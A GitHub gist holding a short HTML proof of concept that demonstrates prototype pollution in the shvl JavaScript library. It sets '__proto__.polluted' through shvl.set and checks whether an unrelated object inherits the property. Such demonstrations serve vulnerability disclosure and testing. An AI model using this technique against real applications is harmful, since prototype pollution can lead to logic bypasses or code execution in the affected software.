Skip to content

Instantly share code, notes, and snippets.

@vrechson
Created May 30, 2021 18:26
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save vrechson/68d32dad0d6e412ce6131fee3d518baf to your computer and use it in GitHub Desktop.
Save vrechson/68d32dad0d6e412ce6131fee3d518baf to your computer and use it in GitHub Desktop.
<!DOCTYPE html>
<html lang="en">
<head>
<title>poc</title>
<script src="https://unpkg.com/shvl@latest/dist/shvl.umd.js"></script>
</head>
<script>
quote = {}
o = {}
shvl.set(quote, "__proto__.polluted", "oi");
if (o.polluted)
console.log("is polluted!")
else
console.log("is safe!")
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment